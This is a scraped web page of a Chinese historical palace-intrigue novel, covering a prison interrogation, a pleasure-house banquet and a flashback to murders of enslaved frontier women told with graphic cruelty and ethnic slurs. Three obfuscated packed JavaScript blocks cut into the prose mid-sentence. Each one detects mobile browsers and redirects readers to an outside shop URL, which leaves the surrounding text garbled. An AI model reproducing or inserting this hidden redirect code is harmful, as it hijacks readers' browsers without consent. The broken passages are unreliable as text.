吃完饭,赵毓同文湛在临水的阁楼上下棋。赵毓这些年牌艺精进许多,棋艺没有什么长进。不过他算牌的定力强悍了之后,下棋也稳多了,只不过,即使这样他依然不敌文湛。在第三盘被盘中绝杀之后,赵毓开始收拾云子。 “你每天都有那么多事情要做,怎么棋艺一点没有退步,不对,不但没有退步,反而比之前长进太多了。” “这些年晚上没有事情做,只能拿出棋谱来排演。” 一听文湛这个话头,赵毓连忙接住,“不要翻旧账。” 文湛将黑子全部收拢好,一粒一粒的放入紫竹棋篓中。 “出去走走?” “嗯。” 其实,赵毓小的时候也在大本堂读过书。 当年楚蔷生可不是如今的左相大人,他是赵毓的侍读学士,就是在大本堂督促他读书。 那个时候楚蔷生出奇的年轻,也出奇的严苛。别的侍读学士都不管赵毓的功课,唯有楚蔷生,只要他不读书,妄图偷奸耍滑,楚蔷生绝不能姑息。 后来,那些兄弟们也一个一个的大了,也都过来开始读书,当时大家都跟新鲜出炉的小包子一样,各个嫩,也鲜活。不像现在,一个一个的早就入了土。 原来诸位皇子们读书的文渊殿,文湛让人一直维持着原样。 赵毓现在还能找到当年自己坐的位子,他坐在那里,手指摸了摸书桌的表面,还有当年自己刻的一个字,——湛。 不知道为什么,看见这么久远的字迹,似乎已经是前生前世的东西,赵毓感觉到有些新奇。 “你过来看看,这有我当年刻的字。”赵毓招呼文湛过来,“当年我给你写小纸条的时候不会写你的名字总是画圈,你说要是我再画圈就拒收,我就在书桌上刻了你的名字,省的写的时候忘记再画圈。” “我知道。” “啊?” “有的时候睡不着就过来坐坐,显得夜没有那么长,不知不觉中天就亮了。” “其实,你一直都知道我在哪里。我之前以为以你的性子,你会让人把我押解回雍京。” “嗯。”闻言,文湛居然微微点头,他的声音很平淡,像是叙述别人的事情,“我写过这样的旨意,有一年甚至还咬着牙盖了印玺,只是,发不出去,最后都被自己烧成了灰烬。” 文湛走到他面前,斜着轻轻倚在书桌边。此时,他没有看着赵毓而是看着大殿上的雕花门,眼神同他的声音一样,也非常平淡,没有渴望,也没有遗憾。那里既不是牢笼也不是人间权力极致的边界。那里,仅仅只是一道门而已。 文湛像是自言自语,“你怎么不问问,为什么非你不可?” “不用了。”赵毓说,“我已经明白了。”因为,这一次,我也一样。 文湛生性无趣,骨子里的确是个方正的人。 赵毓很了解。 对于那件事他也没什么花样,就是体力极好,只要揽着赵毓上了床榻,不到半夜三更绝对不会鸣金收兵。如果是赵毓自己说错话做错了事,估计不到黎明不会罢休。 这次又是。 赵毓不知道自己在想什么,胡乱中喊了一声“皇上”,结果简直糟糕到不可收拾。 赵毓趁着自己还有一口气,连忙来了一句,“老崔他们肯定不知道这件事,不然在微音殿,他们称呼皇上之后该怎么自处?” “你,……,能不能不说话?” “可是,这件事真的很严重!要是在微音殿,你一听见别人称呼你皇上就,……” “只有你!” …… 众人都说进了诏狱就不要想着活着出来,其实言过其实。 诏狱里面关押的全部是奉皇命关押的犯人,只要是皇帝亲自下诏关押或者是缇骑经手的人全部关押在诏狱。 这里活着走出来的人太多了,宁淮侯崔珩就是其中之一。 他又一次进入诏狱,只不过这一次,他在铁栏杆外面,而自有人在铁栏杆里面。 前面有人提着灯笼,崔珩在后面跟着。 何晋的重犯,被关押在诏狱最深处的一间牢房中,又因为他的确重要,所以一个人一间屋子,周围是重兵把守,防止他在诏狱期间不幸暴毙。 何晋熬过刑,却没有残,他睁开浑浊的眼睛看着来人。 他不认识崔珩,而崔珩也没有穿官服,只是一身深色锦绣袍服。 何晋问,“大人是,……” “崔珩。” 宁淮侯崔珩威名赫赫,何晋在军中自然知道他。 “侯爷,您是代替圣上来问话的吗?” “是。” 崔珩手指向后面挥动了一下,身后有人碰过一个木盘,里面是一个牛皮袋子,还有那尊黑金虎符。 “圣上让你辨认,这可是你丢失的那尊虎符?” 何晋双手抓住监牢粗铁栏杆,向外探头。 他看了又看,仔细看,似乎可以用眼睛把那尊虎符上的细纹全部收入眼底。 随后,他点头,“是,这就是延绥镇守将军的那尊虎符。” 崔珩,“你可看清楚?” 何晋仔细又看了看,“没错,就是它。侯爷,可是有何不妥?” 崔珩,“有,不过,与你也没什么关系。” ——这并非圣上亲赐延绥镇守将军的虎符,这是尹明扬最后丢失的、一直未曾送回雍京的那尊虎符。 何晋到了这般田地,也不会追问与自己无关的事情,他只是问,“侯爷,这虎符可以定国公从绥靖带回来的吗?” “不是。”崔珩命人收起那个托盘,“这是从一个名字叫做洪丁的西疆商人身上套取,这个人,你听说过吗?” “浑·撒怜丁?!” 听到何晋喊这个名字,崔珩的面色连变都没有一丝的改变。 “怎么,你也知道他?” 何晋此时才意识到,自己喊的是那个西疆商人本来的名字。 他已经把自己同那个西疆人的关系挂的太紧密了。一个回答不对,自己就会在弃城而逃的大罪上再来一个通敌叛|国的灭罪大罪。 “知道。”何晋咬牙说,“但是罪臣同他却没有军务上的往来。他曾经到我将军府行辕对我说,只要我让他在绥靖地方行商,他就帮我把儿子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728882|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 救出来。我原本以为这个洪丁只想着在边境上赚些小钱,没想到他能盗取我的虎符。” “你儿子?” “是。” “你儿子现在哪里?” “现在,我不知道。”何晋也是心灰意冷,“他之前一直在云中,尹明扬手中。如果洪丁真的从尹明扬手中带走了我儿子,现在他是生是死,我都不知道。我真不应该,……” 听到尹明扬这个名字,崔珩不自觉的一皱眉,“为什么尹明扬会扣着你的儿子?” “人质。”何晋,“当年我私杀边民的事情出来之后,他见我不受控制,就把我儿子扣在云中。这些年他位高权重,我也不敢做什么,当年那些杀戮过重的事情都不敢再做,本来我想着他致仕回家,可以把儿子接回,谁想到他不相信我。我没有办法才听信了洪丁的话,结果,……” 何晋说着,看着崔珩。 他发现自己根本看不清楚崔珩这个人的想法,他的脸皮上好像贴了一张纸,无悲无喜。 崔珩则说,“如果我是你,我会说尹明扬那样做为了自己脱罪。当年的私杀边民的事情他也有份,他怕你把他供出来,于是扣押你的儿子在云中。” 何晋点头,“我刚才的确想这么说。只是,……,我自己作孽太深,已经连累子孙。我儿子如果一直在云中还能保住一条性命,如果此时已经到了洪丁的手中,只怕我们何家要断根了。这个时候再攀咬尹部堂,我都不能算是个人了。” 崔珩,“我会将你的话转奏圣上,同时也派人去云中探查令公子的下落。只是,你要明白一点,你已经是罪无可赦,如果令公子安然无事还是会被押解回雍京。到时候,即使圣上开恩饶他不死,他也只能是流放边陲。” “我知道,我知道。”何晋,“只要他活着,只要他能活着,……” 崔珩出了诏狱,深深吸了一口气,那种浑浊带着死亡的气味令人窒息。他想起来刚才何晋的话,又想起来赵毓同他讲过的那句,——咱们这些人这一辈子一个一个的都不得好下场,都是早些年作孽的事造的太多,得饶人处且饶人吧。…… “怎么最近一个两个的都好像是念了《大般涅盘经》一样?善恶的尽头才想起来——诸恶莫作,众善奉行。” …… 赵毓到尹府的时候,管家捧着那个装着十个土豆的袋子让尹徵摸土豆抓阄。 尹桂宝儿快疯了,他原本以为这件事情非常简单,即使一次不中,但是每天抓,总有一次是中的。结果,这五天来,他天天抓阄,一天抓三次,没有一次摸到那个刻着’出门’的土豆。 他见赵毓过来,开始告状,“姐夫,管家爷爷肯定没有把出门土豆放进去!” 赵毓探头在装着土豆的袋子中瞅了一眼,随即让管家摇晃袋子,他一探手,就摸出一颗土豆,上面可是两个硕大的字,——出门。 “姐夫,你走狗屎运!” “这不是狗屎运,这是千术。”赵毓摇头,“这东西以后教给你,管家,给大少爷洗澡换衣服,我带他出门。” “啊?姐夫,我们出门做什么去?” 赵毓,“喝花酒去!” 25. 25 25 随侯府,后山书房。 随侯世子石慎正在看书。 他父亲随侯石寰目前正在北疆军中,他的母亲随侯夫人只是深宅妇人主持中馈却管不了外面的事,所以,目前侯府他当家。也许是他生性过于谨慎的原因,他看书的地方在侯府的后山,四处站有四个府兵,阵势不算大,却多出了一丝肃穆之气。 侯夫人带了饭食炖了补品亲自送过来,并嘱咐说,“今晚在四大皆空请那个赵毓喝酒。王妃临走的时候嘱咐过,如果晚上有机会说,就说让他们家那个小舅子尹徵同咱们家的恺儿一道去雍阳书院读书,如果没有机会说,你就多喝酒,什么都别说了。” 石慎为人做事都同幼弟石恺不一样。 他一出生就是随侯世子,以后要承袭王侯爵位,又有长子嫡孙的风范,为人贵重。 如果不是石恺惹了祸,侯夫人也的确不想让这个儿子出面应酬,不但求到一个商人的头上,还要向一介草民敬酒。 石慎听着倒也没有说什么,只是淡淡回了一句,“我知道了。” 侯夫人让人进来摆饭,“离喝酒的时候还早,中午多吃一些,晚上肠胃不空。” 石慎放下书,看着进来四个身上穿灰衣的粗使丫鬟拎着四个食盒进来。今天的菜式同往常一样,四凉四热,还有一份鸡汤。 他看见那边为他布置筷子的女人,以她的年纪说是女人还为时过早。 她皮肤白皙,比一般的郑人姑娘都白皙,也透,眼睛珠子显得有些浅,一缕微微卷曲的头发垂在腮边。 这是很典型的西疆人同郑人生的杂种。 现在雍京显贵家中有人偷偷买进这样的奴仆,身份极其低贱,买来异常便宜,弄死弄伤都不值得心疼,但是她们有些人长的极好,就如同眼前这个,就像是脚边的一只香气四溢的白花,用脚狠狠踩进泥土中,还可以使泥土留下芬芳的味道。 这是秘密。 毕竟,雍京的贵人们和这种任人买卖的奴仆有任何风流事都是丑|闻。 但是,石慎不怕,因为活人死人都出不了后山书房。 侯夫人当然知道这些事情,一个人的忍耐力是有限的,所有的情绪波动都需要一个出口,有人喜欢征歌逐酒,有人喜欢京郊围猎,有人喜欢将平日无法实现的杀伐放逐在一些低贱的活物身上,诸如猫、狗,或者是西疆的贱|奴。 走时,石慎将女奴留下。 她的脖子真漂亮,纤细诱人,似乎手指捏在上面就可以拧断,到时候就像天鹅一下,低垂下来,一定显得楚楚可怜。 石慎想着,手指已经抚摸上去了,…… “世子。”女奴忽然有手指按住他的,“我自己把自己卖进侯府,又花了十两银子买通下厨管事才能让侯夫人看到我,进来为世子摆饭菜。我入了世子的眼是为了单独同世子说两句话。” 石慎松开原本扼住怒女脖子的手指。 一股力量掰开他的手指,虽然那股力量并不大,他用力一样可以治住她,但是,那就没有意思了,毕竟,从这个怒女一开口就已经同往日不一样了。 ——“世子,我是来解救您的,您将要大祸临头了呢!” 尹府。 “闺女,回家住几天。我给你戴了红豆酥和西疆蜜瓜,还布置了一书房的书,肯定比你舅这边的好,足够你看了。” “亲爹,您不在家的这几天其实我回去过一趟,看门的赵大叔和烧火的赵大妈还给我做了一顿饭,只是那些书,我实在是看不下去。” 赵毓心思动了一下。 书单是崔珩写的,就算他有些不太正经的加入一些诸如《绣榻野史》《品花宝鉴》之流的东西,可是最后经手的人是柳丛容,这个人跟随文湛多年,文湛性子那些无趣把他熏染的一塌糊涂,他买的书,绝对不可能有不适合格非看的存在。 赵格非坐她爹手边的椅子背上,“亲爹,我娘在的时候倒是说过你不穷,只是,你每天穿着这种衣服,真的很难让人相信咱家吃了上顿还有下顿,所以,这钱就不要乱花了。” 赵毓看看自己,——布衫,柔软舒服,好穿极了,怎么就让人觉得吃了上顿没下顿了呢? 他在大本堂有新衣,但是那些衣服的料子都是上用内造的,在外面穿着惹麻烦。 赵毓自己的衣服都已经洗旧了,布料去除了浆水变得很柔软,穿在身上不扎不挺括,特别舒服。 再说,他根本不是那种’人要衣装,佛要金装’来装点自己门面的人,衣着上自然是怎么舒服怎么来。 赵毓,“这次的衣服是你黄瓜叔给洗的,他粗苯,拿着一个棒槌在大石头上来回砸,就弄成了这个样子,不过,这衣衫还是能穿的,估计到明年也不用换。闺女,我最近根本没花钱,更不要说乱花钱了,你怎么了,又到哪里找了这么多感慨?” 赵格非狐疑的看着她爹,“咱家书房里面那些书,呃,亲爹,我都没仔细看,只在外面的书柜上看到三本书就已经很惊人了。一本是宋代绍兴府刻《春秋左传正义》;一本是柳公权的字帖,那是真迹;还有一本则是成吉思汗灭金之后开印的《玄都宝藏·云芨七笺》其中的一卷,那是存世孤本!不说别的,仅仅这三本书就比咱们家的宅院贵了,亲爹,我知道您有钱,可是有钱也不要乱花。我只是想要看几本书,可不是书痴,没想着弄几本书把咱们拖累的吃了上顿没下顿。” 赵毓一听就明白。 估计这些都是文湛让柳丛容从大本堂的藏书阁搬过来,同样的东西放在文渊殿不显山不露水,但是出现在民间就惊世骇俗了。 “书不就是让人读的吗?”赵毓拍了拍赵格非,“没事儿,你要是不想看这些,我再给你弄点别的。别怕,我虽然不会让你吃喝嫖赌过三辈子,但是,咱爷俩这辈子应该饿不死了。” 管家过来,刚进屋就听见赵毓对大小姐说什么吃喝嫖赌过三辈子,于是他苦口婆心的教育了赵毓一顿,不要在大小姐面前乱说话,随后,他又千叮咛万嘱咐的说尹桂宝儿的确傻,姑爷带出门一定要小心看管,不要再让他被什么下个套给套住了。 此时,后院开饭。 赵毓和他闺女在这里好好吃了一顿,尹徵也塞几口排骨和一碗米饭。 饭后休这些人息了一下,醒了之后又看了一会儿书,还喝了茶,刚好可以让肚子没有那么撑,但是也不空。他们这样一直等到快要掌灯,赵毓才领着尹徵去四大皆空坊。 尹桂宝儿在这里看的有些目不暇接。 他都不用装,所有人一看,就知道他是个雏儿。 一举一动都带着生嫩。 但是,他看着姐夫赵毓可不一样。 这位姐夫一进去,见了周熙就坐了,笑语盈盈的开始聊天。旁边有娇嫩嫩的小姑娘捧着清茶过来,赵毓都没有用手接,手指点了点桌面,让人家放下茶盏,似乎在他眼中,这些小姑娘就是一群会倒茶的物件。 尹桂宝儿都不敢看那些小姑娘。 只觉得她们一个一个的把云中尹府中最美貌的丫头们都比成了沙土。 ——怪不得自己往姐夫房里塞的人,他一个都没有用正眼看过。 屠明珠到了。 这是雍京城最当红的倌人,应了周熙的局就盛装出席。 尹桂宝儿就看见她恍若神妃仙子一般,她进来带来一阵香风,丝毫不豪奢,比那位敢穿黑色缂丝袍的六哥身上的味道差远了,不过屠明珠的香气更勾人,如梦似幻,犹如空谷幽兰。 屠明珠认识周熙,而周熙为她引荐了赵毓。 她走过去,如同名门闺秀一般施了礼,“赵老爷,上次没有见到您,多有得罪,您不会怪罪我吧。” 赵毓曾经下过名帖请过她,当时想要试试他的琴技,看是否合适做赵格非的老师。 结果,人家没有回应。也许是赵毓在雍京城没名没姓,人家不想应酬,后来赵毓想着给自己的姑娘找个倌人做老师也的确过于离经叛道,这事就算不了了之了。 没想到,屠明珠居然还记得他赵毓的名字。 屠明珠话音一落,她就再前凑了一步,手指在赵毓手背上,轻轻一刮…… 她有这个本事,外表看起来冰清玉洁的,暗地里全是销魂蚀骨的味道,等闲男人被她这么一刮,早就酥了。 尹桂宝儿在旁边看着眼睛发直。 他想着自己要是被人家这么一弄,当场就得扣了茶盏,弄湿衣衫。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728883|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 结果,…… 屠明珠对付赵毓用这招一点不管用。 赵毓没动,就是笑,“罚,一定罚!” 他说完,众人就是一愣。 屠明珠如此绝美的姿色低声下气外加手指这么一刮,别说不怪罪她,就是为她做裙下之臣火山孝子,任其予取予求都心甘情愿。 赵毓却不,人跟木头一样,还驳人家的名字。 赵毓反过来,牵了屠明珠的袖子,“罚你,喝三大杯!” 闻言,屠明珠知道这个过结已经过去,她这才将心放回去,脸色也缓和了上来。 只是,赵毓欲扬先抑,两句话,已经把屠明珠的节奏打乱了。 赵毓人长的柔和,说话的声音也柔和,“屠姑娘能来就好。一会儿我们这里有贵客,希望姑娘不吝琴艺。” “一定,一定。” 她知道自己已经没有表演的余地了,就安静的坐在一旁,似一盏美人灯。 石慎进屋,听见这个如同疏影横斜水清浅的院子有隐隐丝竹的声音,他这才知道自己来晚了。 他是请客的人,却最晚到,实在是失礼。 周熙在一旁打圆场,“刚才灯花就一直爆,贵客到了。世子爷,一向安好?” 石慎,“安好,有劳周先生挂念。” 说完,他看见周熙身后的人! 周熙说,“世子,这是赵毓。” 赵毓? 也许,应该称呼他为崔玉? 石慎以为,这人早已经死去,埋骨于戈壁无尽的黄沙之中。 十一年前,西疆肃州,什叶镇。 当时他叫崔玉,瘦的像个鬼。 一开始,石慎就暗中注意到他。雍京来的公子哥,自以为是到以为自己很好养活,原本每日就是粗茶淡饭,结果真正到了边陲,他差点饿死。崔玉每日强撑着连小半碗饭都咽不进去,瘦的脱了样子,穿不了最轻便的铠甲,也拉不开最轻便的弓。大家原本以为他是世家子弟跑过来蹭军功的,结果,这个人从头到尾就是庶民一个。 石慎到不会觉得崔玉是老百姓,那种娇生惯养的劲儿,一般家里可养不起。这应该是哪家大人倒了台,子孙流落在外。不过,至于是哪家大人,他没有兴趣知道。他来边境,为了买奴仆。什叶镇这边多有战事,西疆贱|奴价格甚至不如一袋子草料。 石慎在这里挑拣了十个女奴,白皙的皮肤,琉璃色的眼睛,高昌遗民的血统,其中有两个特别漂亮的,直接弄死在边陲。 这里根本没有人管这些事,高昌人,在郑人眼中都不算是人。非我族人其心必异,长成那个鬼样子,肯定是妖魔。 崔玉却多管闲事。 石慎以为自己把所有的痕迹都打扫的干干净净,可是,这个崔玉不知道怎么做的,凭借蛛丝马迹就像猎犬一样嗅到自己跟前。那一天,他就在别苑的角楼上,跟着帘幕看着门外的崔玉。崔玉应该无法看见他,却似乎能感知到什么似的,抬头看着自己。 应该说,他们从头至尾,素未谋面。只是,石慎知道崔玉,而崔玉不知他。 杀几个贱|奴并不是重罪,尤其对于雍京侯府世子来说,更不是罪。只是,说出去不好听。随侯世子温文尔雅,完美无缺,他可不想在雍京城有这个奇怪的流言。 当天晚上,石慎设计了一场大火烧了崔玉的住所。第二天,刮了一整天的沙尘暴,那个地方已经被掩埋在黄沙之下了。 时隔十一年,他们在雍京又见。 那个人还活着,成了赵毓,而自己则是第一次出现在他面前的随侯世子石慎。 赵毓这个人身份成谜,背景莫辨。 他拥有猎犬一样的敏锐嗅觉,关于早年的恩怨,自己既然已经出现在他面前,那么他早晚能闻出味道。 此时,石慎这才明白今天书房那个女奴说话的真正含义。 ——“世子,我是来解救您的,您将要大祸临头了呢!” 那女奴笑的像一朵白莲,只是那双眼睛冰碴子一样,“您只有按照我的法子做,才能安然度过难关。上天留给世子自救的时间也已经不多了。听,世子书房外面流水的声音,就是正在流逝的时间,哗哗哗,挡不住了呢。” 26. 26 26 其实,这位随侯世子,周熙也是第一次见。 他这次攒局请了制造局太监李瑞雪过来同周熙说的,这位李瑞雪同周熙也是多年的相识,并且又在制造局,扼住十三行的命脉,他自然会给人情。 平心而论,这位世子真是个漂亮人物。 为人儒雅稳重,待人接物如同行云流水一般,说话自然也是赵毓崔珩那种官话腔调,每一句话都能说到人的心坎中去,自有一种春风拂面的气度。 周熙仔细看,似乎赵毓对他也是欣赏的。 赵毓看着石慎说话,眼神也是温和的,也许过于温和了,好像糖浆子一样,都快要腻出来了。 石慎对赵毓说,“我母亲生弟弟的时候已经年近四十,从那之后再无所出,娇惯异常。俗话都说养不教父之过,可是我父亲的确常年不在雍京,千错万错,都是我的错。俗话说长兄如父,是我这个做兄长没有管教好弟弟,我先自罚几杯酒。” 旁边有人端过来三个鸡缸杯,里面装着清冽的酒水。石慎二话都不说,拿过来直接喝完。 赵毓待他喝完,也让人端过来一盏酒,也喝干了,“我岳父晚年得子,我这个小舅子也的确骄纵。本来他在云中被老爷太太管着,一切安好,谁想到来到雍京就如同野马入了草场,实在勒不住了。世子宽宏大量,以后我们这件事就算揭过。” “好,好,好。赵先生为人和善,这真是舍弟的福气。” 此时,周熙让屠明珠在一旁开始抚琴助兴,还有那些应局过来的当红倌人,一个一个的色艺双绝,慢启檀板,吟诗作对,让整晚的气氛像是蒙上了一层纸醉金迷的薄纱,隐隐绰绰的而看着勾|人,却让人看不真切,就好像进入了妖精的洞府,外面看着脂粉香浓,背后却有一张吃人的口。尹桂宝儿不知怎么的,看的一身冷汗,他身边坐着一个清倌人,那个姑娘本来想要私下给他一个自己绣的荷包,都没敢接。 石慎喝了好多酒。 他今天过来就是为了喝酒的。 他妹妹吉王妃说了,喝了这顿酒,就算抹平过去的恩怨,出了门尽量不认识,只是告诉人家,以后在雍京城行走,绕着人家就可以了。 真的可以吗? 石慎几乎是被下人架着回了随侯府。 他一进书房,就让人拿过凉水,灌入口中催吐,吐了再灌,灌了就吐,就这样反反复复大本页,腹中的酒终于吐的差不多了。 那个高昌女奴被他关押在地牢中。 他命人将她带过来。 “世子,见到那个人了吧。这次,相信我的话了吗?” “看样子,你们把我查的很透彻。” “当然。不然我们怎么能帮您呢?世子的那些秘密,我们会帮您守住的,只要您也帮我们一个小忙。” “赵毓,未必认得出我。” “未必?”那个女奴笑了,“世子,这不像您。您不是一向宁可错诛绝不放过吗?怎么,这次想要得过且过了吗?” 石慎感觉自己的酒劲逐渐消散,他的脑子开始清明起来,“那点小罪过,定不了我的罪。” 女奴看着他,双眼鬼火一般,“杀高昌或者瓜沙肃兰诸州有遗民血统的奴隶当然不算是罪过,可是,如果赵毓知道自己曾经差点死在您手中,世子,这样的过往算不算罪过?” “他?”石慎冷笑,“他是庶民,不要说我没有杀他,就算我真正杀了他,圣上也不会以此定罪。大郑国法煌煌,刑不上大夫礼不下庶民,只要我主动出首,刑部只会判我流放。我在流放地熬十年或者二十年,我就回来了,死不了。” 石慎表情一直不轻松,眉梢嘴角紧绷着,其实,他说的一切都是遮掩。 女奴知道,自己人已经石慎研究的太透彻了。 在石慎眼中,一切地位不如他的血统不如他身份不如他的人,都不能算是个人,就如同那些猫狗一样,可以随意凌|辱|杀戮。 女奴又笑了,“您就算杀了赵毓,国法也不会治您死罪。但是,值得吗?” “世子,您为了一个庶民而去苦寒的流放地熬年数,值得吗?” 良久,石慎终于开口,“我要怎么做?” 女奴,“很简单,他女儿赵格非和尹徵。那个人同世子不一样,窝囊,心软,只要抓了这两个人,他会就范。” 尹府。 赵毓也喝了不少酒,周熙派人将他和尹桂宝儿送回家,他让下人安顿好尹桂宝儿,自己找了间空房子去睡觉。 半夜醒来,他到后院的角落中,一张嘴,把今晚吃喝进肚腹的东西尽数吐了出来。 他就是随侯世子石慎。 那是十一年前,他跟随尹明扬部将方昭的人马驻扎在边陲重镇。 彼时,他的名字是崔玉。 那些年他换了几个名字,哪个名字都生疏,最后,换来换去还是成了赵毓。 他需要做的事情只有一件,三个月之内绘制好什叶镇周围一百里的地图。 他曾经以为自己非常好养活,皇宫的锦衣玉食可以吃,冉庄的粗茶淡饭也可以吃,但是他没有想到,在肃州这个地方,他差点被饿死。 军粮是隔年的粮食,做出米饭来带着奇怪的味道,完全不是皇宫的贡米和冉庄的新稻的滋味。边境上的白面很稀少,烙饼里面必然掺杂一些杂粮,赵毓嗓子比较细,胃也软,咽不下去这些硬的如同石头一样的饼。这是坏的,他吃不了,可是好的东西,他一样吃不下去。众人杀羊烤着吃。羊肉鲜嫩,上面甚至还涂抹了盐,蜂蜜和杏子酒,配着酸马奶酒,众人吃喝热闹。可是,这种过于肥厚的味道却让赵毓吐了半夜。后来,赵毓只能勉强吃一些热水泡的饭或者是饼,他胃口不好到甚至连半碗饭都吃不下。不到一个月,赵毓人瘦得像饿鬼。穿不上最轻的铠甲,也拉不开最软的弓。 有老兵嘲笑他,“小白脸,你好好在家当你的公子哥,作甚跑出来受罪?” “太穷,家里妻子刚生了孩子,总要给家人挣些什么。” “看你这么拼命,你老婆肯定给你生了个大胖小子!” “不,是姑娘。” 老兵笑他痴傻到极点,“一个丫头片子值得你抛家舍业的跑到边境上来喝风吃沙?听叔的话,赶紧回去,和你老婆再鼓捣出一个大胖小子是正经。至于你家那个大丫头,以后给她找个好人家,给点嫁妆打发就得了!她嫁人之后就是人家的人,生的孩子又不跟你的姓,你为了她瞎折腾个啥?” 赵毓只是笑,也不理会。 他的画技在文人画中不算什么,可是绘制地图却够用,再加上他本人心细如发,虽然身体不好,但是肯做事,不到两个月,他带着人将地图的草图就描绘了出来。他甚至做了三版,其中一版中还描绘了沙漠上那些独特的树木与劲草。 赵毓本来已经准备同方昭回云中,却在那一天的早上,看到了那两个西疆的姑娘。 或者说,尸体。 她们被人随意丢弃在黄沙上。 一个姑娘的身体被捆绑成一种奇异的姿势,双脚向后,直接捆在脖子上。 她是自己把自己勒死的。 因为被迫扭曲成这样的姿势,她的双腿很难受,就需要舒展,一舒展,她脖子上的绳索就会收紧,但是不舒展,她的双腿肿胀,难受至极。就这样,她一点一点的舒展,最后,终于勒死了自己。 第二个姑娘,只剩下一张美丽的面孔,身体已经糜烂不堪。 她的眼睛是碧蓝色的,最后一刻看着西疆炫目的天空,没有悲伤也没有喜悦,平静的,如同雪峰上的莲花。 “走,快走,晦气。”老兵拉着他。 赵毓,“死人了,不报官?” “不过是死了两个番邦的婆子,谁管?”老兵在这里年头久了,知道的自然比赵毓多的多,“这种婆子都不能算是女人的,甚至比边民手中的牛羊骆驼都不如。牛羊骆驼好歹算家当,这些算什么?充其量只能做炕上那些事用,可是,这些也不能算女人。谁和她们生的孩子都是这个鬼样子,谁敢要?” 赵毓不顾那个老兵的反对,用自己的衣服裹着两个姑娘埋入黄沙。 他还想找到杀害她们的那个人。 没人帮他。 也没人听他说话。 他就是一个笑柄。 “小白脸,听说你是一个大官的女婿,既然娶了人家的姑娘就好好过日子,别折腾这种事。我们这里这种事看多了,上次一个守城的副将因为看上一个番邦的婆子把命差点丢了。他最后丢了官职,还生了一个长成那个模样的丫头,他带着那个婆子走了,结果据说还是让流民杀了,那个婆子和他丫头都死了。你要是真沾染上这种事,下场好不了,别被你老婆家给踢出门哦!” “哎,多年的战乱,人和人之间已经结成了死仇,打不开了。” “再说,你肩不能担手不能提的,瘦的也许活不过明天,在西疆边陲,你能干吗?” 那个时候,赵毓才算真正了解。 绘制战时地图这样的事情,如果一个文人能做,那么在西疆,它就不值钱。 这里能活下来,并且说话有人听,只有手握重兵的人。 ——我爷爷在尹明扬之前镇西疆二十年,我爹曾经威震京畿,我就算再废物再窝囊,骨子里面怎么还有他们一滴骨血吧。 赵毓先让自己在西疆活下去。 不管怎么样,至少有体力能骑马,能攻击。 他勉强自己吃东西,食物再不习惯他也要吞咽下去,吃了吐,吐了再吃,体力终究恢复了。 他小时候也的确过于骄纵,习六艺的时候偷懒,现在拉不开弓,就改用强i弩。崔珩常年在制造局,那里不止从江南弄一些丝绸瓷器,更多的是为军队制造军械。他知道那些关窍,他自己研究,找西疆最好的师傅帮他实际动手改装弩i箭。杀人为了最直接最简单,他会对准对方的右眼,他似乎把一直隐藏在自己血统中的凶性都引了出来。于是,最终,他在西疆这片土地上活了下来。 但是,那个人,那个以诡秘残忍的手段杀了那两个姑娘的人,没有再遇见。 一直到今天。 端午。 今天是文湛的生辰,赵毓没有进宫。 他总觉得端午这日子有些邪性,好像每年端午都会发生一些事情。 于是,他带着尹徵还有赵格非出城散散心。 赵格非怕晒,她戴了一个风帽骑在马上,看着远处,那边就是南苑猎场,似乎有王孙公子们在围猎,无尽的碧绿操场上,有骏马奔驰,有猎旗招展。尹徵已经热到不能忍,直接扑进不远处的茶棚。 “亲爹,为什么那些王孙公子都喜欢围猎?” “吃饱了撑的。”赵毓说。 他看了看青天白日的大日头,掐指一算,“走吧,咱们也该吃饭了。” 南苑这里是皇家猎场,千年以来那些王公权贵们随圣驾围猎,周围早就生出了繁华的城镇。一些酒楼也应运而生。菜谱还算可以,赵毓叫了一桌,蟹粉丸子,炒三冬,八宝鸭,烧排骨,外加翅子白菜汤,温好的太雕酒加了雄黄,还有香米饭。 “亲爹,你怎么心不在焉的?” 尹桂宝儿一直扒着碗吃饭,他从早上出雍京城就没吃过一口东西,饿的早已经前心贴后背了。他听见赵格非这样说,也终于从饭菜中抬头,随后点头,“姐夫,你的确心神不宁,你看你,嘴角有纹。” “那是啥?” “你有心事的时候嘴角抽的很紧,就会有纹路。” 这话有些耳熟,似乎谁说过,赵毓仔细想了想,但是今天的确心神不定,于是放弃。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728884|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他算了算时辰,等他们吃完饭回城也差不多天黑了,估计端午就这样过去了。 